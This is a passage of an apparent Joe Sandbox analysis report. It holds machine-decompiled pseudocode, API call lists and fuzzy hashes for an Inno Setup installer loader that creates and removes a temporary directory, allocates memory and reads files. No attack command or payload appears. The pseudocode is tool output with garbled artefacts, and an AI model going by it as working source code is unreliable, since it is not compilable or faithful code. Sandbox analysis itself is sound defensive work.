                                                          								} while (_t19 != 0);
                                                          								_t30 = 0x40a030;
                                                          								_t20 =  *0x40b028; // 0x0
                                                          								_t21 = _t20 - 0x401178;
                                                          								do {
                                                          									 *_t30 =  *((intOrPtr*)((_t21 & 0x0000000f) + 0x403ec0));
                                                          									_t30 = _t30 - 1;
                                                          									_t21 = _t21 >> 4;
                                                          								} while (_t21 != 0);
                                                          								if( *0x40b031 != 0) {
                                                          									E00404088(0x40b204, "Runtime error     at 00000000");
                                                          									E0040400B();
                                                          								} else {
                                                          									MessageBoxA(0, "Runtime error     at 00000000", "Error", 0);
                                                          								}
                                                          							}
                                                          							E00403D6C(0x40b038);
                                                          							E00403D6C(0x40b204); // executed
                                                          							E004019DC(); // executed
                                                          							if( *0x40b414 == 0) {
                                                          								E004030B4();
                                                          								goto L17;
                                                          							}
                                                          						}
                                                          					}
                                                          				}
                                                          				E004030B4();
                                                          				 *0x40b414 = 0;
                                                          				_t15 =  *0x40b020; // 0x0
                                                          				asm("sbb eax, eax");
                                                          				return  ~_t15 + 1;
                                                          			}












                                                          0x00403da8
                                                          0x00403db4
                                                          0x00000000
                                                          0x00403db6
                                                          0x00403db6
                                                          0x00403dbd
                                                          0x00403e83
                                                          0x00403e89
                                                          0x00403dc3
                                                          0x00403dc3
                                                          0x00403dcd
                                                          0x00403dcd
                                                          0x00403dcd
                                                          0x00403dd2
                                                          0x00403dd4
                                                          0x00000000
                                                          0x00000000
                                                          0x00403dd8
                                                          0x00403dde
                                                          0x00403dde
                                                          0x00403de9
                                                          0x00403deb
                                                          0x00403df0
                                                          0x00403dfa
                                                          0x00403dfc
                                                          0x00403dfc
                                                          0x00403e01
                                                          0x00403e03
                                                          0x00403e04
                                                          0x00403e08
                                                          0x00403e0d
                                                          0x00403e12
                                                          0x00403e17
                                                          0x00403e22
                                                          0x00403e24
                                                          0x00403e25
                                                          0x00403e25
                                                          0x00403e31
                                                          0x00403e52
                                                          0x00403e57
                                                          0x00403e33
                                                          0x00403e41
                                                          0x00403e41
                                                          0x00403e31
                                                          0x00403e61
                                                          0x00403e6b
                                                          0x00403e70
                                                          0x00403e7c
                                                          0x00403e7e
                                                          0x00000000
                                                          0x00403e7e
                                                          0x00403e7c
                                                          0x00403dc3
                                                          0x00403dbd
                                                          0x00403e8e
                                                          0x00403e93
                                                          0x00403e9a
                                                          0x00403ea1
                                                          0x00403ebd

                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: ExitMessageProcess
                                                          • String ID: Error$Runtime error at 00000000
                                                          • API String ID: 1220098344-2970929446
                                                          • Opcode ID: c79c1e547e07a3d1ac10d563cbf51c4eb115eb0186fe91d057b894d5a3940c77
                                                          • Instruction ID: e959e555da05728f6c5869fbe468bed2cd35297cb525c612a59fe2bc640103ba
                                                          • Opcode Fuzzy Hash: c79c1e547e07a3d1ac10d563cbf51c4eb115eb0186fe91d057b894d5a3940c77
                                                          • Instruction Fuzzy Hash: 9F21C130A203454AD710AF299A457163E99DB89709F04817BE610BB3E3C73D8A49C7EE
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          C-Code - Quality: 56%
                                                          			E00408E3C(void* __eax, long __ebx, void* __edx, void* __edi, void* __esi) {
                                                          				char _v8;
                                                          				char _v12;
                                                          				char _v16;
                                                          				intOrPtr _v20;
                                                          				char _v24;
                                                          				char _v28;
                                                          				char _v32;
                                                          				char _v36;
                                                          				int _t30;
                                                          				intOrPtr _t62;
                                                          				void* _t72;
                                                          				intOrPtr _t75;
                                                          
                                                          				_t70 = __edi;
                                                          				_t53 = __ebx;
                                                          				_t54 = 0;
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(__ebx);
                                                          				_push(__edi);
                                                          				_t72 = __eax;
                                                          				_push(_t75);
                                                          				_push(0x408f2b);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t75;
                                                          				while(1) {
                                                          					E00406B50( &_v12, _t53, _t54, _t70, _t72); // executed
                                                          					_t54 = 0x408f44;
                                                          					E00408D30(0, _t53, 0x408f44, _v12, _t70, _t72,  &_v8); // executed
                                                          					_t30 = CreateDirectoryA(E004034B8(_v8), 0); // executed
                                                          					if(_t30 != 0) {
                                                          						break;
                                                          					}
                                                          					_t53 = GetLastError();
                                                          					if(_t38 != 0xb7) {
                                                          						E004089C8(0x2f,  &_v28, _v8);
                                                          						_v24 = _v28;
                                                          						E00404C50(_t53,  &_v32);
                                                          						_v20 = _v32;
                                                          						E00407044(_t53,  &_v36);
                                                          						_v16 = _v36;
                                                          						E00408998(0x60, 2,  &_v24,  &_v12);
                                                          						_t54 = _v12;
                                                          						E0040584C(_v12, 1);
                                                          						E00402EB4();
                                                          					}
                                                          				}
                                                          				E0040322C(_t72, _v8);
                                                          				_pop(_t62);
                                                          				 *[fs:eax] = _t62;
                                                          				_push(E00408F32);
                                                          				E004031B8( &_v36, 3);
                                                          				return E004031B8( &_v12, 2);
                                                          			}















                                                          0x00408e3c
                                                          0x00408e3c
                                                          0x00408e3f
                                                          0x00408e41
                                                          0x00408e42
                                                          0x00408e43
                                                          0x00408e44
                                                          0x00408e45
                                                          0x00408e46
                                                          0x00408e47
                                                          0x00408e48
                                                          0x00408e49
                                                          0x00408e4b
                                                          0x00408e4c
                                                          0x00408e50
                                                          0x00408e51
                                                          0x00408e56
                                                          0x00408e59
                                                          0x00408e5c
                                                          0x00408e63
                                                          0x00408e6b
                                                          0x00408e72
                                                          0x00408e82
                                                          0x00408e89
                                                          0x00000000
                                                          0x00000000
                                                          0x00408e90
                                                          0x00408e98
                                                          0x00408ea6
                                                          0x00408eae
                                                          0x00408eb6
                                                          0x00408ebe
                                                          0x00408ec6
                                                          0x00408ece
                                                          0x00408edb
                                                          0x00408ee0
                                                          0x00408eea
                                                          0x00408eef
                                                          0x00408eef
                                                          0x00408e98
                                                          0x00408efe
                                                          0x00408f05
                                                          0x00408f08
                                                          0x00408f0b
                                                          0x00408f18
                                                          0x00408f2a

                                                          APIs
                                                          • CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,00408F2B,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00408E82
                                                          • GetLastError.KERNEL32(00000000,00000000,?,00000000,00408F2B,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00408E8B
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: CreateDirectoryErrorLast
                                                          • String ID: .tmp
                                                          • API String ID: 1375471231-2986845003
                                                          • Opcode ID: 045355d227cea6e7d5d416104fa9faf9719629bb9b9ae428ffd845c58668b2eb
                                                          • Instruction ID: c921e9fa1f8d48812ad88111fc3c46dc83d8ac6a1a37af813a094dd237f4ea83
                                                          • Opcode Fuzzy Hash: 045355d227cea6e7d5d416104fa9faf9719629bb9b9ae428ffd845c58668b2eb
                                                          • Instruction Fuzzy Hash: AA211A75A002089BDB01FBA5C952ADEB779EF48304F10457FE541B73C1DA7C5E058AA9
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 378 407b68-407b95 380 407ba1-407bb2 378->380 381 407b97-407b9c call 407a7c 378->381 384 407bb4-407bb9 call 407a7c 380->384 385 407bbe-407bc2 380->385 381->380 384->385 386 407bc4-407bcb 385->386 387 407bcd-407bd2 call 407a7c 385->387 386->387 389 407bd7-407bdb 386->389 387->389 391 407be7-407bf0 389->391 392 407bdd-407be2 call 407a7c 389->392 394 407bf2-407bfd 391->394 395 407bff-407c05 391->395 392->391 394->394 394->395 396 407c12-407c2c call 408760 395->396 397 407c07-407c10 395->397 400 407c32-407c40 396->400 401 407c2e-407c31 396->401 397->396 397->397 402 407c42-407c62 call 407b0c VirtualAlloc 400->402 403 407c6f-407ca6 call 40810c 400->403 401->400 408 407c64 call 405840 402->408 409 407c69-407c6c 402->409 410 407ca8 403->410 411 407cda-407cf5 call 403198 403->411 408->409 409->403 414 407caa-407cd5 call 405150 call 407a04 410->414 415 407cac-407cb6 call 407a7c 410->415 414->411 415->411
                                                          C-Code - Quality: 87%
                                                          			E00407B68(intOrPtr __eax, void* __ebx, void* __edi, void* __esi) {
                                                          				char _v5;
                                                          				intOrPtr _v12;
                                                          				intOrPtr _v16;
                                                          				intOrPtr _v20;
                                                          				long _v24;
                                                          				void* _v28;
                                                          				char _v32;
                                                          				char _v36;
                                                          				char _v40;
                                                          				void* _t94;
                                                          				intOrPtr _t104;
                                                          				intOrPtr _t117;
                                                          				signed int _t120;
                                                          				void* _t123;
                                                          				char _t124;
                                                          				void* _t127;
                                                          				void* _t142;
                                                          
                                                          				_v32 = 0;
                                                          				_t104 = __eax;
                                                          				_push(_t127);
                                                          				_push(0x407cf6);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t127 + 0xffffffdc;
                                                          				if( *((intOrPtr*)(__eax + 4))() != 1) {
                                                          					E00407A7C(1);
                                                          				}
                                                          				if( *((intOrPtr*)(_t104 + 4))() != 4) {
                                                          					E00407A7C(2);
                                                          				}
                                                          				if(_v12 < 0 || _v12 > 0x2000000) {
                                                          					E00407A7C(7);
                                                          				}
                                                          				if(_v5 >= 0xe1) {
                                                          					E00407A7C(3);
                                                          				}
                                                          				_v20 = 0;
                                                          				while(_v5 >= 0x2d) {
                                                          					_v20 = _v20 + 1;
                                                          					_v5 = _v5 - 0x2d;
                                                          				}
                                                          				_t123 = 0;
                                                          				while(_v5 >= 9) {
                                                          					_t123 = _t123 + 1;
                                                          					_v5 = _v5 - 9;
                                                          				}
                                                          				_v16 = 0;
                                                          				_t120 = E00408760(_v16, _t123);
                                                          				if((_t120 & 0x00000003) != 0) {
                                                          					_t120 = (_t120 | 0x00000003) + 1;
                                                          				}
                                                          				_v24 = _v12 + _t120;
                                                          				if( *(_t104 + 0x20) != _v24) {
                                                          					E00407B0C(_t104);
                                                          					_t94 = VirtualAlloc(0, _v24, 0x1000, 4); // executed
                                                          					 *(_t104 + 0x1c) = _t94;
                                                          					if( *(_t104 + 0x1c) == 0) {
                                                          						E00405840();
                                                          					}
                                                          					 *(_t104 + 0x20) = _v24;
                                                          				}
                                                          				_v28 =  *(_t104 + 0x1c);
                                                          				 *((intOrPtr*)(_t104 + 0x10)) = 0x407ad8;
                                                          				 *((intOrPtr*)(_t104 + 0x14)) = _t104;
                                                          				_t124 = E0040810C(_v28, _v16, _t120, _t104 + 0x10, _v12, _v28 + _t120, _v20, _t123);
                                                          				_t142 = _t124 - 1;
                                                          				if(_t142 >= 0) {
                                                          					if(_t142 == 0) {
                                                          						E00407A7C(4);
                                                          					} else {
                                                          						_v40 = _t124;
                                                          						_v36 = 0;
                                                          						E00405150("LzmaDecoderInit failed (%d)", 0,  &_v40,  &_v32);
                                                          						E00407A04(_v32, _t104, 0, _t120, _t124);
                                                          					}
                                                          				}
                                                          				 *(_t104 + 0x18) = _v28;
                                                          				_pop(_t117);
                                                          				 *[fs:eax] = _t117;
                                                          				_push(E00407CFD);
                                                          				return E00403198( &_v32);
                                                          			}




















                                                          0x00407b73
                                                          0x00407b76
                                                          0x00407b7a
                                                          0x00407b7b
                                                          0x00407b80
                                                          0x00407b83
                                                          0x00407b95
                                                          0x00407b9c
                                                          0x00407b9c
                                                          0x00407bb2
                                                          0x00407bb9
                                                          0x00407bb9
                                                          0x00407bc2
                                                          0x00407bd2
                                                          0x00407bd2
                                                          0x00407bdb
                                                          0x00407be2
                                                          0x00407be2
                                                          0x00407be9
                                                          0x00407bf0
                                                          0x00407bf2
                                                          0x00407bf5
                                                          0x00407bf9
                                                          0x00407bff
                                                          0x00407c05
                                                          0x00407c07
                                                          0x00407c08
                                                          0x00407c0c
                                                          0x00407c17
                                                          0x00407c24
                                                          0x00407c2c
                                                          0x00407c31
                                                          0x00407c31
                                                          0x00407c37
                                                          0x00407c40
                                                          0x00407c44
                                                          0x00407c56
                                                          0x00407c5b
                                                          0x00407c62
                                                          0x00407c64
                                                          0x00407c64
                                                          0x00407c6c
                                                          0x00407c6c
                                                          0x00407c72
                                                          0x00407c7a
                                                          0x00407c81
                                                          0x00407c9f
                                                          0x00407ca3
                                                          0x00407ca6
                                                          0x00407ca8
                                                          0x00407cb1
                                                          0x00407caa
                                                          0x00407cbc
                                                          0x00407cbf
                                                          0x00407ccd
                                                          0x00407cd5
                                                          0x00407cd5
                                                          0x00407ca8
                                                          0x00407cdd
                                                          0x00407ce2
                                                          0x00407ce5
                                                          0x00407ce8
                                                          0x00407cf5

                                                          APIs
                                                          • VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00407C56
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: AllocVirtual
                                                          • String ID: -$LzmaDecoderInit failed (%d)
                                                          • API String ID: 4275171209-4285503710
                                                          • Opcode ID: 280b90f571de8d0f6a06e43fd61462bf54795dd090ff25f7ee4631c94334f9df
                                                          • Instruction ID: 739e5406fed6d5d9f7dab0f1cecf33c4a84e0d5bdd5d63819edb2077d9ee3b07
                                                          • Opcode Fuzzy Hash: 280b90f571de8d0f6a06e43fd61462bf54795dd090ff25f7ee4631c94334f9df
                                                          • Instruction Fuzzy Hash: 42514370E082489FEB00DFA9C88579EBBB5EF49304F14817AA505F72C1D778A941CB9A
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 424 40128c-401296 425 4012d2-4012da 424->425 426 401298-4012a8 LocalAlloc 424->426 427 4012aa-4012ae 426->427 428 4012af-4012bc 426->428 429 4012be-4012d0 428->429 429->425 429->429
                                                          C-Code - Quality: 100%
                                                          			E0040128C() {
                                                          				intOrPtr* _t4;
                                                          				void* _t5;
                                                          				void _t6;
                                                          				intOrPtr* _t9;
                                                          				void* _t12;
                                                          				void* _t14;
                                                          
                                                          				if( *0x40b438 != 0) {
                                                          					L5:
                                                          					_t4 =  *0x40b438;
                                                          					 *0x40b438 =  *_t4;
                                                          					return _t4;
                                                          				} else {
                                                          					_t5 = LocalAlloc(0, 0x644); // executed
                                                          					_t12 = _t5;
                                                          					if(_t12 != 0) {
                                                          						_t6 =  *0x40b434; // 0x0
                                                          						 *_t12 = _t6;
                                                          						 *0x40b434 = _t12;
                                                          						_t14 = 0;
                                                          						do {
                                                          							_t2 = (_t14 + _t14) * 8; // 0x4
                                                          							_t9 = _t12 + _t2 + 4;
                                                          							 *_t9 =  *0x40b438;
                                                          							 *0x40b438 = _t9;
                                                          							_t14 = _t14 + 1;
                                                          						} while (_t14 != 0x64);
                                                          						goto L5;
                                                          					} else {
                                                          						return 0;
                                                          					}
                                                          				}
                                                          			}









                                                          0x00401296
                                                          0x004012d2
                                                          0x004012d2
                                                          0x004012d6
                                                          0x004012da
                                                          0x00401298
                                                          0x0040129f
                                                          0x004012a4
                                                          0x004012a8
                                                          0x004012af
                                                          0x004012b4
                                                          0x004012b6
                                                          0x004012bc
                                                          0x004012be
                                                          0x004012c2
                                                          0x004012c2
                                                          0x004012c8
                                                          0x004012ca
                                                          0x004012cc
                                                          0x004012cd
                                                          0x00000000
                                                          0x004012aa
                                                          0x004012ae
                                                          0x004012ae
                                                          0x004012a8

                                                          APIs
                                                          • LocalAlloc.KERNEL32(00000000,00000644,?,0040B44C,004012EF,?,?,0040138F,?,?,?,?,?,004018CF), ref: 0040129F
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: AllocLocal
                                                          • String ID: d$s
                                                          • API String ID: 3494564517-2289793998
                                                          • Opcode ID: d0098a64720638dd74679531885fee3c7462df8ca2e6a3b92f5e623581651788
                                                          • Instruction ID: 315ca4eb5df40ff61ed7d7a3f3733bbcaf0eb1fae048c0f6dcbee72b686809ba
                                                          • Opcode Fuzzy Hash: d0098a64720638dd74679531885fee3c7462df8ca2e6a3b92f5e623581651788
                                                          • Instruction Fuzzy Hash: C2F08C757023018FD724CF69D980AA6B3E5EBA9315F6480BEE184F73A1D3398C018B98
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 430 409d0a call 402924 434 409ca8-409caf 430->434 435 409c8f-409ca3 call 40900c 430->435 437 409cc1-409cc8 434->437 438 409cb1-409cbc call 4034b8 RemoveDirectoryA 434->438 435->434 440 409cd5-409cdc 437->440 441 409cca-409cd0 72E69840 437->441 438->437 442 409d04 440->442 443 409cde-409cff call 403620 call 4025ac 440->443 441->440 443->442
                                                          C-Code - Quality: 94%
                                                          			E00409D0A(void* __ebx, void* __edx, void* __edi, void* __esi) {
                                                          				intOrPtr _t1;
                                                          				int _t2;
                                                          				intOrPtr _t3;
                                                          				intOrPtr _t5;
                                                          				intOrPtr _t8;
                                                          				long _t10;
                                                          				void* _t11;
                                                          				intOrPtr _t12;
                                                          				void* _t17;
                                                          				void* _t18;
                                                          
                                                          				_t18 = __esi;
                                                          				_t17 = __edi;
                                                          				_t11 = __ebx;
                                                          				_t1 =  *0x40bdd8; // 0x0
                                                          				_t2 = E00402924(_t1);
                                                          				if( *0x40be18 != 0) {
                                                          					_t10 =  *0x40be18; // 0x1f90f20, executed
                                                          					_t2 = E0040900C(_t10, 0xd, 0xfa); // executed
                                                          				}
                                                          				if( *0x40be14 != 0) {
                                                          					_t8 =  *0x40be14; // 0x1f90e60
                                                          					_t2 = RemoveDirectoryA(E004034B8(_t8)); // executed
                                                          				}
                                                          				if( *0x40a240 != 0) {
                                                          					_t2 =  *0x40a240; // 0x30340
                                                          					_push(_t2); // executed
                                                          					L004045A0(); // executed
                                                          				}
                                                          				if( *0x40bdc8 != 0) {
                                                          					_t3 =  *0x40bdc8; // 0x0
                                                          					_t12 =  *0x40bdcc; // 0x1
                                                          					E00403620(_t3, _t11, _t12, 0x408828, _t17, _t18);
                                                          					_t5 =  *0x40bdc8; // 0x0
                                                          					E004025AC(_t5);
                                                          					 *0x40bdc8 = 0;
                                                          					return 0;
                                                          				}
                                                          				return _t2;
                                                          			}













                                                          0x00409d0a
                                                          0x00409d0a
                                                          0x00409d0a
                                                          0x00409c7c
                                                          0x00409c81
                                                          0x00409c8d
                                                          0x00409c9e
                                                          0x00409ca3
                                                          0x00409ca3
                                                          0x00409caf
                                                          0x00409cb1
                                                          0x00409cbc
                                                          0x00409cbc
                                                          0x00409cc8
                                                          0x00409cca
                                                          0x00409ccf
                                                          0x00409cd0
                                                          0x00409cd0
                                                          0x00409cdc
                                                          0x00409cde
                                                          0x00409ce3
                                                          0x00409cee
                                                          0x00409cf3
                                                          0x00409cf8
                                                          0x00409cff
                                                          0x00000000
                                                          0x00409cff
                                                          0x00409d04

                                                          APIs
                                                          • RemoveDirectoryA.KERNEL32(00000000,00409D0F,000000FC,00409394,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00409CBC
                                                          • 72E69840.USER32(00030340,00409D0F,000000FC,00409394,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00409CD0
                                                            • Part of subcall function 0040900C: Sleep.KERNEL32(?,?,?,?,00000032,?,00409CA8,000000FA,00409D0F,000000FC,00409394,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000), ref: 0040902B
                                                            • Part of subcall function 0040900C: 6CAA5F60.KERNEL32(00000000,?,?,?,00000032,?,00409CA8,000000FA,00409D0F,000000FC,00409394,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000), ref: 00409048
                                                            • Part of subcall function 0040900C: GetLastError.KERNEL32(00000000,?,?,?,00000032,?,00409CA8,000000FA,00409D0F,000000FC,00409394,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000), ref: 00409051
                                                            • Part of subcall function 0040900C: GetLastError.KERNEL32(00000000,?,?,?,00000032,?,00409CA8,000000FA,00409D0F,000000FC,00409394,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000), ref: 0040905B
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast$DirectoryE69840RemoveSleep
                                                          • String ID:
                                                          • API String ID: 2747185952-0
                                                          • Opcode ID: ced7f35a4c7f2a956cb83ebc00fe38a8c3227ac322f81f8021bc59ed5727e9ea
                                                          • Instruction ID: 46121217ae14b102a7c9ab0a2191daa408cf3cda942bec3b96eba668c110a116
                                                          • Opcode Fuzzy Hash: ced7f35a4c7f2a956cb83ebc00fe38a8c3227ac322f81f8021bc59ed5727e9ea
                                                          • Instruction Fuzzy Hash: A6F0C9706542019BD726EB29EE45B6672A4EF8030AF14443BE201763E2C77E5C91DB9D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 449 4072ec-40730a ReadFile 450 407323-40732a 449->450 451 40730c-407310 449->451 452 407312-40731a GetLastError 451->452 453 40731c-40731e call 4072d8 451->453 452->450 452->453 453->450
                                                          C-Code - Quality: 79%
                                                          			E004072EC(intOrPtr* __eax, long __ecx, void* __edx) {
                                                          				long _v16;
                                                          				int _t7;
                                                          				intOrPtr* _t12;
                                                          
                                                          				_push(__ecx);
                                                          				_t12 = __eax;
                                                          				_t7 = ReadFile( *(__eax + 4), __edx, __ecx,  &_v16, 0); // executed
                                                          				if(_t7 == 0 && ( *((char*)(_t12 + 8)) != 0 || GetLastError() != 0x6d)) {
                                                          					E004072D8( *_t12);
                                                          				}
                                                          				return _v16;
                                                          			}






                                                          0x004072ef
                                                          0x004072f4
                                                          0x00407303
                                                          0x0040730a
                                                          0x0040731e
                                                          0x0040731e
                                                          0x0040732a

                                                          APIs
                                                          • ReadFile.KERNEL32(?,0040BDE0,0000000C,?,00000000,0000000C,0040BDE0,0000000C,00000000,00407340,?,0040BDE0,?,0040975D,00000000,00409D05), ref: 00407303
                                                          • GetLastError.KERNEL32(?,0040BDE0,0000000C,?,00000000,0000000C,0040BDE0,0000000C,00000000,00407340,?,0040BDE0,?,0040975D,00000000,00409D05), ref: 00407312
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: ErrorFileLastRead
                                                          • String ID:
                                                          • API String ID: 1948546556-0
                                                          • Opcode ID: 680202ba64e3e939a70e4bcc502f356e365af8173d4a0932f9b6ab517a08559d
                                                          • Instruction ID: 3c0cfeec81fa0fc02a9cec973c06d08f825457161002b72a5b058ccb23915437
                                                          • Opcode Fuzzy Hash: 680202ba64e3e939a70e4bcc502f356e365af8173d4a0932f9b6ab517a08559d
                                                          • Instruction Fuzzy Hash: 33E092B1A081106BEB20A65AAC84FAB67DCCBC5324F04417BFE44DB281D678DC01C376
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 75%
                                                          			E0040736C(intOrPtr* __eax, void* __edx) {
                                                          				long _v16;
                                                          				long _v20;
                                                          				long _t8;
                                                          				long _t9;
                                                          				intOrPtr* _t11;
                                                          
                                                          				asm("movsd");
                                                          				asm("movsd");
                                                          				_t11 = __eax;
                                                          				_t8 = SetFilePointer( *(__eax + 4), _v20,  &_v16, 0); // executed
                                                          				_t9 = _t8 + 1;
                                                          				if(_t9 == 0) {
                                                          					_t9 = GetLastError();
                                                          					if(_t9 != 0) {
                                                          						_t9 = E004072D8( *_t11);
                                                          					}
                                                          				}
                                                          				return _t9;
                                                          			}








                                                          0x00407377
                                                          0x00407378
                                                          0x00407379
                                                          0x0040738b
                                                          0x00407390
                                                          0x00407391
                                                          0x00407393
                                                          0x0040739a
                                                          0x0040739e
                                                          0x0040739e
                                                          0x0040739a
                                                          0x004073a8

                                                          APIs
                                                          • SetFilePointer.KERNEL32(?,?,?,00000000), ref: 0040738B
                                                          • GetLastError.KERNEL32(?,?,?,00000000), ref: 00407393
                                                            • Part of subcall function 004072D8: GetLastError.KERNEL32(00000001,00407182,00000000,?,?,00000000,?,00000080,00000000,?,0040BDE0,?,?,0040971A,00000001,00000000), ref: 004072DB
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast$FilePointer
                                                          • String ID:
                                                          • API String ID: 1156039329-0
                                                          • Opcode ID: 057c581a682fd42bdcdafbb8af3d947b9e8f0f4bd48f50ce40414415dd734c82
                                                          • Instruction ID: d341500aa86417baca15aecbf54a18501ed73b8cd6b72ca19bf93de83f54ea5b
                                                          • Opcode Fuzzy Hash: 057c581a682fd42bdcdafbb8af3d947b9e8f0f4bd48f50ce40414415dd734c82
                                                          • Instruction Fuzzy Hash: CDE092766081006BE600E59DC881A9B33DCDFC5364F10413ABA94EB1C0D675AC00C376
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E004071D0(intOrPtr* __eax, long* __edx) {
                                                          				long _t8;
                                                          				long* _t11;
                                                          				intOrPtr* _t13;
                                                          
                                                          				_t11 = __edx;
                                                          				_t13 = __eax;
                                                          				 *((intOrPtr*)(__edx + 4)) = 0;
                                                          				_t2 =  &(_t11[1]); // 0x409d75
                                                          				_t8 = SetFilePointer( *(__eax + 4), 0, _t2, 1); // executed
                                                          				 *_t11 = _t8;
                                                          				if( *_t11 == 0xffffffff) {
                                                          					_t8 = GetLastError();
                                                          					if(_t8 != 0) {
                                                          						return E004072D8( *_t13);
                                                          					}
                                                          				}
                                                          				return _t8;
                                                          			}






                                                          0x004071d2
                                                          0x004071d4
                                                          0x004071d8
                                                          0x004071dd
                                                          0x004071e7
                                                          0x004071ec
                                                          0x004071f1
                                                          0x004071f3
                                                          0x004071fa
                                                          0x00000000
                                                          0x004071fe
                                                          0x004071fa
                                                          0x00407205

                                                          APIs
